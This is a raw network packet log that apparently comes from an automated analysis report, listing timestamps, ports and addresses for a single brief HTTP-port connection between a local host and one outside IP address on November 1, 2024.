Nov 1, 2024 00:38:21.333714008 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.333729029 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.333741903 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.333745956 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.333772898 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.333784103 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.333798885 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.333813906 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.333822012 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.333851099 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.400167942 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400185108 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400207043 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400221109 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400234938 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400234938 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.400249004 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400270939 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400274038 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.400286913 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400298119 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.400310040 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400326967 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400336981 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.400341988 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400374889 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400391102 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400402069 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.400404930 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400429010 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400445938 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400454044 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.400468111 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400484085 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400492907 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.400500059 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400515079 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400537968 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400538921 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.400553942 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400562048 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.400571108 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400702000 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400737047 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.400891066 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400906086 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400918961 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.400922060 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400938034 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400954008 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400963068 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.400969028 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400986910 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.400990963 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.401004076 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.401005030 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.401020050 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.401046038 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.401061058 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.401071072 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.401091099 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.401109934 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.401133060 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.401148081 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.401161909 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.401175022 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.401176929 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.401201963 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.401202917 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.401217937 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.401227951 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.401233912 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.401256084 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.401271105 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.401282072 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.401284933 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.401299000 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.401302099 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.401326895 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.401343107 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.401352882 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.401356936 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.401371956 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.401463032 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.401793003 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.401842117 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.401856899 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.401943922 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.401984930 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402000904 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402017117 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402033091 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402046919 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402059078 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.402062893 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402069092 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.402086020 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.402162075 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402178049 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402199030 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402215958 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402232885 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402240038 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.402247906 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402256012 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.402275085 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.402296066 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402311087 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402327061 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402352095 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.402435064 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.402754068 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402769089 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402785063 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402806044 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402846098 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402858973 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402870893 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.402904987 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402920008 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402935028 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.402945042 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.402981997 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.452030897 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452065945 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452084064 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452100039 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452116966 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452131033 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452146053 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452162027 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452178001 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.452179909 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452240944 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.452302933 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452318907 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452334881 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452367067 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.452393055 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452409983 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452434063 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452449083 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452451944 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.452451944 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.452466965 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452481985 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452486992 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.452502966 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452553988 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.452584982 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452600956 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452615976 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452630997 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452646971 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452675104 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.452733040 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452748060 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452760935 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.452766895 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452783108 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452824116 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.452850103 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452866077 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452899933 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.452900887 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.452914000 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.452922106 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.453229904 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.494216919 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.494261026 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.494276047 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.494736910 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.519048929 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519078970 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519095898 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519108057 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.519134045 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519159079 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.519160986 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519177914 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519191980 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519207001 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519217968 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.519232988 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.519280910 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519342899 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519365072 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519371986 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.519382954 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519396067 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519418955 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519423008 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.519445896 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519449949 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.519463062 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519479990 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519499063 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519507885 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.519526958 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.519710064 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519785881 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519809961 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519815922 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.519829035 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519853115 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519867897 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519876003 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.519884109 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519898891 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519910097 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.519913912 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519932032 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519946098 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.519949913 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.519956112 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.519995928 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.520011902 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.520015955 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.520030022 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.520054102 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.520070076 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.520081043 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.520086050 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.520133972 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.520694017 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.520823002 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.520838022 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.520853043 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.520868063 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.520890951 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.520893097 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.520915985 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.520916939 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.520936012 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.520951986 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.520968914 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.520984888 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.520996094 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.521003008 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521019936 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521029949 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.521039009 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521054983 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521104097 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.521110058 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521135092 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521148920 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521187067 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521202087 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521217108 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521241903 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.521275043 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521291018 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521301985 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.521306992 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521322966 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521328926 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.521343946 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.521372080 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521430969 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521445036 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521469116 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521483898 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521497011 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.521507025 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521522045 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521529913 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.521537066 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521621943 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521631956 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.521636963 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521652937 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521673918 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521688938 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521704912 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521704912 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.521704912 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.521729946 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.521732092 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521748066 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521763086 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.521775007 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.521872997 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.522082090 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.522097111 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.522113085 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.522136927 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.522151947 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.522161007 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.522169113 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.522175074 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.522397995 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.566304922 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.566332102 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.566435099 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.571166039 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571182966 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571197987 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571275949 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571290970 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571302891 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.571307898 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571331978 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571342945 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.571348906 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571352005 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.571497917 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571526051 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.571561098 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571578026 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571674109 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571687937 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571702003 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571722984 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571729898 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.571741104 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571743965 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.571755886 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571769953 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571784973 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571793079 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.571801901 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571822882 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.571865082 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571881056 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571891069 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.571896076 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571916103 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571933985 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571949959 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.571957111 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571980000 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.571995974 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.572005987 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.572010040 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.572026968 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.572042942 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.572053909 CET	49735	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:21.572057962 CET	80	49735	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:21.572125912 CET	49735	80	192.168.2.6	185.215.113.16
